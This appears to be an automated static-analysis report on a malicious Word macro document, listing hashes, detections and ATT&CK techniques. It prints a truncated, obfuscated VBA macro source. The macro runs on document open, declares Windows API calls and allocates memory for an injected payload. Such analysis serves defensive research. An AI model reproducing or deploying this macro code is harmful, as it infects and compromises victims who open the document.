Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7016cfd45c9da598…

MALICIOUS

Office (OLE)

241.5 KB Created: 2017-12-07 12:49:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: fa19772764f8060ff77f47573205edd0 SHA-1: b0ee2b170736b93f3c3d30ecd231a1b2a9f422d6 SHA-256: 7016cfd45c9da598cb3d882896327653d7dad1f68d5188238ee6f74dc962daa3
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious due to the presence of VBA macros, specifically a Document_Open macro designed to execute automatically. The macro code, though partially obfuscated, suggests an intent to download and execute a secondary payload. The ClamAV detection 'Doc.Downloader.Macro-6539595-0' further supports this assessment.

Heuristics 4

  • ClamAV: Doc.Downloader.Macro-6539595-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macro-6539595-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11850 bytes
SHA-256: e3440d848505235071b45aa3993335127523a5b1fbbafc1bd2e813b9c0a5511e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim sabellianism As Byte
Dim minoan As String
bucharest = "monazite"
Module2.agential
aesop = 23 + 25
 Pmt 0, aesop, 12460, 13462, 2
End Sub


Attribute VB_Name = "scutcheon"
Attribute VB_Base = "0{0C893C44-43F2-47D9-A6BD-8AD92A5EB726}{E64EF4D1-E88E-4D0F-9C8C-0259A5DB715B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module4"
#If (7 - 15 + 408 + 45 - 104 + 359) > ((61 - 66 + 325) - (115 - 24 + 449) * 1) And ((22 - 98 + 104) - (109 - 47 - 34)) * 2 < (Win64) Then
Public Declare PtrSafe Function bg _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (alieni As Any, ByVal skyline As Any, ByVal darby As Any, ByVal attractivity As Any, ByVal osteopathy As Any, ByVal pretermission As Any, ByVal atmosphere As Any) As Long
Public Declare PtrSafe Function luvarus _
Lib "Shlwapi  " Alias _
"SleepConditionVariableSRW" (ByVal batis As Any, sapience As Any, oophorectomy As Any, camping As Any) As LongPtr
#ElseIf (114 - 13 + 299 + 55 - 120 + 365) > ((92 - 90 + 318) - (1 - 126 + 665) * 1) And Not ((22 - 43 + 49) - (103 - 57 - 18)) * 2 < (Win64) Then
Public Declare Function imperfective _
Lib "Ntdll   " Alias _
"NtAllocateVirtualMemory" (cleaners As Long, relaxant As Long, ByVal riveted As Long, sarcosporidiaByVal As Long, motorbike As Long, ByVal hereupon As Long) As Long
Public Declare Function bg _
Lib "Kernel32" Alias _
"CreateTimerQueueTimer" (porous As Any, ByVal umbellales As Any, ByVal dhulqadah As Any, ByVal beetlehead As Any, ByVal noninstitutional As Any, ByVal floss As Any, ByVal emergence As Any) As Long
#End If

Function adducent(angler, caecilian, deuteromycetes)
Select Case deuteromycetes
Case 31 + (10 / 2 - 5)
adducent = angler \ caecilian
Case 41 + (5 - 3) / 2 - 1
adducent = angler And caecilian
Case 49 + (56 / 7 - 4 * 2)
adducent = angler * caecilian
End Select
End Function


Attribute VB_Name = "Module3"
Function bethrall()
Dim delusively(255) As Byte
bunchgrass = 105 - 36 - 4
Do While bunchgrass <= 90 + 1
delusively(bunchgrass) = bunchgrass - 65
bunchgrass = bunchgrass + 1
Loop
bunchgrass = 48
Do While bunchgrass <= 50 + 8
delusively(bunchgrass) = bunchgrass + 4
bunchgrass = bunchgrass + 1
Loop
bunchgrass = 97
Do While bunchgrass <= 120 + 3
delusively(bunchgrass) = bunchgrass - 71
bunchgrass = bunchgrass + 1
Loop
delusively(47) = 63
bunchgrass = 43
delusively(bunchgrass) = 60 + 2
bethrall = delusively
End Function
Function countdown(huitre)
#If (50 - 123 + 473 + 82 - 97 + 315) > ((125 - 82 + 277) - (46 - 126 + 620) * 1) And ((128 - 62 - 38) - (42 - 99 + 85)) * 2 < (Win64) Then
Dim banner As Long
Dim accoy As LongPtr
walkout = 126 - 18 - 100
Dim mokulu As LongPtr
Dim illustrious As Long
Dim allaround As Integer
Dim offday As LongPtr
Dim minus As Long
#ElseIf (127 - 6 + 279 + 57 - 107 + 350) > ((36 - 6 + 290) - (14 - 72 + 598) * 1) And Not ((85 - 108 + 51) - (89 - 78 + 17)) * 2 < (Win64) Then
Dim accoy As Long
walkout = 110 - 114 + 8
Dim mokulu As Long
Dim offday As Long
#End If
canalization = VarPtr(accoy)
lectern = altricial(canalization, VarPtr(huitre) + 8, walkout)
sulfacetamide = 74 - 30 - 45
mokulu = 39 - 13 - 26
recruiting = 46 - 56 + 10
offday = 54 - 15 + 9841
agreeable = 86 - 104 + 4114
abronia = 107 - 68 + 25
jemmy = imperfective(ByVal sulfacetamide, _
mokulu, ByVal recruiting, _
offday, ByVal agreeable, _
ByVal abronia)
altricial mokulu, accoy, 107 - 87 + 5863
beaumont = 37 + 36
Pmt 0, beaumont, 9353, 28754, 4
countdown = mokulu
End Function


Attribute VB_Name = "Module2"
Function agential()
Dim anthropologist As Byt
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.